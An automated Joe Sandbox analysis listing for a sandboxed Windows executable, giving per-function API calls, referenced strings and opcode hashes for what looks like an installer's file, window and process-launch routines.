Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 2100155373-404845831
Opcode ID: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction ID: 984c58063c86845d173f53a52b6817ef46511a14a9e7efc583118aae5371c0f7
Opcode Fuzzy Hash: 1224945cd41bf140f0dcf37f1b002595631e4f701a4b658f84a72e9da714e3d9
Instruction Fuzzy Hash: 7691F832B196418AE715AF2DE8006A9E7A1FB95785F805435FF4D47B6CCE7CE806CB00

Function 00007FF7B2F6F930 Relevance: 17.2, APIs: 8, Strings: 1, Instructions: 1417COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F71239
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F7123F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F71245
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F7124B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F71251
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F71257
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F7125D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F71263

Strings

__tmp_reference_source_, xrefs: 00007FF7B2F6FCCF, 00007FF7B2F6FCDE

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: __tmp_reference_source_
API String ID: 3668304517-685763994
Opcode ID: b3447bfaba87cc87fbe114b5c25c15378eabd263355e7f456c77c078e09c4ade
Instruction ID: 035590097d17f4856e9ecef211bf81ce840986199b75883885c280f4752de0f3
Opcode Fuzzy Hash: b3447bfaba87cc87fbe114b5c25c15378eabd263355e7f456c77c078e09c4ade
Instruction Fuzzy Hash: 8EE2C762A0A6C25AEA66FB28D0403BEE761FF62741F804135DB9D436B9CFBCE455C710

Function 00007FF7B2F64840 Relevance: 12.1, APIs: 5, Strings: 1, Instructions: 1624COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F6511E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F65124
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F6512A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F65E16
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F65E1C

Strings

CMT, xrefs: 00007FF7B2F659B2

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: CMT
API String ID: 3668304517-2756464174
Opcode ID: edb1919e0c2ff88984d6b33c1a181f4caea46d6e624be7fd3ff6bd93c5b14ff2
Instruction ID: 23ac23b8958834248769bc7ccff38ade1762cd8565922960469f012bfa05e5e0
Opcode Fuzzy Hash: edb1919e0c2ff88984d6b33c1a181f4caea46d6e624be7fd3ff6bd93c5b14ff2
Instruction Fuzzy Hash: 27E20722B1A6824AEB17BB78D5502FDA361FB66785F800435DB4E9379ACFBCE054C314

Function 00007FF7B2F8F4E0 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 285
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteExW.SHELL32 ref: 00007FF7B2F8F747
IsWindowVisible.USER32 ref: 00007FF7B2F8F777
ShowWindow.USER32 ref: 00007FF7B2F8F786
WaitForInputIdle.USER32 ref: 00007FF7B2F8F797
GetExitCodeProcess.KERNEL32 ref: 00007FF7B2F8F7BD
CloseHandle.KERNEL32 ref: 00007FF7B2F8F7E7
ShowWindow.USER32 ref: 00007FF7B2F8F83F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F8F8FB

Strings

Install, xrefs: 00007FF7B2F8F684
.inf, xrefs: 00007FF7B2F8F675
p, xrefs: 00007FF7B2F8F529
.exe, xrefs: 00007FF7B2F8F7F2

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: Window$Show$CloseCodeExecuteExitHandleIdleInputProcessShellVisibleWait_invalid_parameter_noinfo_noreturn
String ID: .exe$.inf$Install$p
API String ID: 148627002-3607691742
Opcode ID: 13153b16eaed52a2c3dc3c4fe79058cfb9d05f3c646668fa8bb5c7823513c75a
Instruction ID: f878ba5c98bcaa0bcda26711b8d9a826255973a0e152584d1b20684b810571ac
Opcode Fuzzy Hash: 13153b16eaed52a2c3dc3c4fe79058cfb9d05f3c646668fa8bb5c7823513c75a
Instruction Fuzzy Hash: C3C19122F1A6028DFB12AB29D544179E3A1AFA6782FD44531CB4D5B7A8DFBCE451C320

Function 00007FF7B2F724C0 Relevance: 9.2, APIs: 6, Instructions: 164
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF7B2F7259B
GetLastError.KERNEL32 ref: 00007FF7B2F725AE
CreateFileW.KERNEL32 ref: 00007FF7B2F7260E
GetLastError.KERNEL32 ref: 00007FF7B2F72617
SetFileTime.KERNEL32 ref: 00007FF7B2F726C9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F72736

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: File$CreateErrorLast$Time_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3536497005-0
Opcode ID: 731a06aeb1aeb45fbab96b045eb79c55c759261894fecd14d272f4e3d7f6f85d
Instruction ID: c16d8e13fa03a9decaa05329216b425a58e9b8cbb7cfc0f9f6b69d6966e1453c
Opcode Fuzzy Hash: 731a06aeb1aeb45fbab96b045eb79c55c759261894fecd14d272f4e3d7f6f85d
Instruction Fuzzy Hash: CF610662A0964189E721AB2DE50036EA7B1F796BA8F501335DFAD03AECCFBDD454C710

Function 00007FF7B2F891E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32 ref: 00007FF7B2F89211
SHAutoComplete.SHLWAPI ref: 00007FF7B2F89255

Part of subcall function 00007FF7B2F813C4: CompareStringW.KERNEL32 ref: 00007FF7B2F813E3

FindWindowExW.USER32 ref: 00007FF7B2F8923F

Strings

EDIT, xrefs: 00007FF7B2F8921B, 00007FF7B2F89233

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction ID: b13fb197039449b52b2a1d24bc96c979a7b9d261790f517cf1362af81a87f29f
Opcode Fuzzy Hash: 5198dd27efd6ef2cfe81d4e1a42d30dc263c523227a297f5f4c02164b2b5e029
Instruction Fuzzy Hash: A901DB21B1664385FB22BB19E8143F6E360AFBA742FC41031CE0D0A76CDEACD159C620

Function 00007FF7B2F72CE0 Relevance: 6.1, APIs: 4, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(00007FF7B2F78C9A), ref: 00007FF7B2F72D22
WriteFile.KERNEL32 ref: 00007FF7B2F72D6C
WriteFile.KERNELBASE ref: 00007FF7B2F72D9A

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: c0878563cb540de980db5307815f43949119fc8f7ca07e724854b0feeef95fd0
Instruction ID: 0926da6f6eb3e7b47e00dcecc239043b87c10d2f5d2a532f1813cdc09b9464fa
Opcode Fuzzy Hash: c0878563cb540de980db5307815f43949119fc8f7ca07e724854b0feeef95fd0
Instruction Fuzzy Hash: FA511D22B1A5424AFB52FB19D44477AA360FF66B91F941135EB0E076A8DFFCE445C310

Function 00007FF7B2F903E0 Relevance: 6.1, APIs: 4, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowTextW.USER32 ref: 00007FF7B2F90556
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F905C1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F905C7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F905CD

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$TextWindow
String ID:
API String ID: 2912839123-0
Opcode ID: a88ad1242194626dfa544ee276433940e60644b64a4b5e31ebb5a65c94af8aea
Instruction ID: e57809cbbfb5912a828c75c673bad270095f86ba5d091e0f0ec30578d9d81a01
Opcode Fuzzy Hash: a88ad1242194626dfa544ee276433940e60644b64a4b5e31ebb5a65c94af8aea
Instruction Fuzzy Hash: 3251B562F1665188FF02AB6DD8452ADA321BF56B95FD00635DB1C167DDDFACD440C320

Function 00007FF7B2F72320 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,00000000,00007FF7B2F72927,?,00100000,?,00000001,00000000,00000000,?,00007FF7B2F714C1), ref: 00007FF7B2F72348
ReadFile.KERNELBASE ref: 00007FF7B2F72367
GetLastError.KERNEL32 ref: 00007FF7B2F7239B
GetLastError.KERNEL32 ref: 00007FF7B2F723BA

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction ID: a0c5b7d07bdae5279fa612cd9dc18f82b5b64e64d8805a901bb059973fc44c3e
Opcode Fuzzy Hash: 5dece825d5be91adec6864fa12bb564f4e3b5809c08bfde6ef0babe01e3581d0
Instruction Fuzzy Hash: 07219821E0E54289E6A17F19A400239E360FB67B96F944531FB9D466ACCFFCD885C760

Function 00007FF7B2F7E948 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B2F7ECD8: ResetEvent.KERNEL32 ref: 00007FF7B2F7ECF1
Part of subcall function 00007FF7B2F7ECD8: ReleaseSemaphore.KERNEL32 ref: 00007FF7B2F7ED07

ReleaseSemaphore.KERNEL32 ref: 00007FF7B2F7E974
CloseHandle.KERNELBASE ref: 00007FF7B2F7E993
DeleteCriticalSection.KERNEL32 ref: 00007FF7B2F7E9AA
CloseHandle.KERNEL32 ref: 00007FF7B2F7E9B7

Part of subcall function 00007FF7B2F7EA5C: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF7B2F7E95F,?,?,?,00007FF7B2F7463A,?,?,?), ref: 00007FF7B2F7EA63
Part of subcall function 00007FF7B2F7EA5C: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF7B2F7E95F,?,?,?,00007FF7B2F7463A,?,?,?), ref: 00007FF7B2F7EA6E

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction ID: 1cf6ee03dcab101d9ace2b34f7e7658590dd686deb997b0d6b3e2888a7d4a5e5
Opcode Fuzzy Hash: 7c4c69b688bb09167c3d8ec6f4195a818a409db0987586a56ae23aa503e7e0cd
Instruction Fuzzy Hash: 7301C037A16A8096E28AFB24E54026DF331FB96BC1F404031EB5E03228CFB8E0B5C750

Function 00007FF7B2F7EAA4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF7B2F7EAE0
SetThreadPriority.KERNEL32 ref: 00007FF7B2F7EB36

Strings

CreateThread failed, xrefs: 00007FF7B2F7EAEE

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: Thread$CreatePriority
String ID: CreateThread failed
API String ID: 2610526550-3849766595
Opcode ID: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
Instruction ID: ac2c58c5847af5ae3f410e0457e25f486009a37116792dffe4b6363a4c707a8a
Opcode Fuzzy Hash: cf4f3858e1c5421656891f758a667cd72a6f2059ba57d4f8d940dbc9b5e0f540
Instruction Fuzzy Hash: 5F11633190AA4289F706FB18E841269F371FBA6786F944536E74D0267CDFBCE546C720

Function 00007FF7B2F8946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B2F7DFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF7B2F7DDDF

OleInitialize.OLE32 ref: 00007FF7B2F89486
SHGetMalloc.SHELL32 ref: 00007FF7B2F894D4

Strings

riched20.dll, xrefs: 00007FF7B2F89475

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: b1936b3f38021c99ecd6522b050f6163774a90ef7a51b133bb98bdb322c125e4
Instruction ID: 4a3154ae6ad1b6bdcd042d72a7e030ee75871d99b6db934ef9f75ac86f871a4c
Opcode Fuzzy Hash: b1936b3f38021c99ecd6522b050f6163774a90ef7a51b133bb98bdb322c125e4
Instruction Fuzzy Hash: 11F0A431519A4186EB02EF24F40416AF3A0FB59715FC00131EA8D42768DFBCD15DCB10

Function 00007FF7B2F8095C Relevance: 4.7, APIs: 3, Instructions: 152windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B2F8853C: GlobalMemoryStatusEx.KERNEL32 ref: 00007FF7B2F8856C

Part of subcall function 00007FF7B2F7AAE0: LoadStringW.USER32 ref: 00007FF7B2F7AB67
Part of subcall function 00007FF7B2F7AAE0: LoadStringW.USER32 ref: 00007FF7B2F7AB80

Part of subcall function 00007FF7B2F61FA0: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F61FFB

Part of subcall function 00007FF7B2F6129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7B2F61396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F901BB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F901C1
SendDlgItemMessageW.USER32 ref: 00007FF7B2F901F2

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$LoadString$Concurrency::cancel_current_taskGlobalItemMemoryMessageSendStatus
String ID:
API String ID: 3106221260-0
Opcode ID: ee7981b6245ab76a354ab7e7693393dfc6a2c34145fe367da64471db6a9f8fa7
Instruction ID: bb7ba319fbf721ab8e7125c39be5016bf1fcd7a356c95e50f29294fa80d94291
Opcode Fuzzy Hash: ee7981b6245ab76a354ab7e7693393dfc6a2c34145fe367da64471db6a9f8fa7
Instruction Fuzzy Hash: 9651D662F066418DFB01BBA9D4152FDA322ABA6785F900635DF0D577DEDEACD440C350

Function 00007FF7B2F72134 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF7B2F721CF
CreateFileW.KERNEL32 ref: 00007FF7B2F7223C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F722D8

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: fadebd8b54f10f1951c29d3e9f7df512abc916790a43b14df76b265dc45515ba
Instruction ID: 792c39c407c4c48ccd66ac8c2ab7c25e5273c712ae2c7ceab86d67d26ced328c
Opcode Fuzzy Hash: fadebd8b54f10f1951c29d3e9f7df512abc916790a43b14df76b265dc45515ba
Instruction Fuzzy Hash: 6B410B726057814AFB11AB19E444269A360FB567B5F505334EFAD03AEDCFBCD490C710

Function 00007FF7B2F623F8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF7B2F6243E
GetWindowTextW.USER32 ref: 00007FF7B2F62476
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B2F62505

Memory Dump Source

Source File: 00000006.00000002.2203719899.00007FF7B2F61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B2F60000, based on PE: true

Associated: 00000006.00000002.2203694157.00007FF7B2F60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203775788.00007FF7B2FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FBB000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203817190.00007FF7B2FC4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2203908789.00007FF7B2FCE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b2f60000_WWMeRq3HihRV9YRKtaMBDHoA.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: 107cbe78643896cd277503af9d79c84134f19e12336bfdef765791961383781f
Instruction ID: b140da8097497aaa4604e35da3e65649bc0e0c1d673776e5e130acc32f4becc8
